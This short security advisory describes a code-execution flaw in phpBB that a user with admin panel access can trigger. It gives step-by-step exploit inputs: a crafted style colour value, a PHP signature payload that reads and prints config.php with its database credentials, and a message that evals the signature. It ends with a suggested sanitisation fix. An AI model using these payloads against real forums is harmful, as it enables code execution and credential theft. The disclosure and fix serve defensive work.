On a phpBB board, a user having access to the admin panel is able to execute PHP code: This example will execute $user_sig as PHP code: Go to Administration Panel > Styles Admin > Management > subSilver > Edit Set "Font Colour 3" to "'./*" Profile Set Signature to "$fd=fopen($phpbb_root_path.'config.php','rb');while(!feof($fd)){echo htmlspecialchars(fgets($fd));}" Post a new message with content: "*/var_dump(eval($user_sig)).flush().die().'" and attach your signature Go to your message adding ?highlight=1 to URL Your signature is executed as PHP code Possible solution: Replace $theme['fontcolor3'] By preg_replace('#[^a-f0-9]+#i','',$theme['fontcolor3']); In viewtopic.php
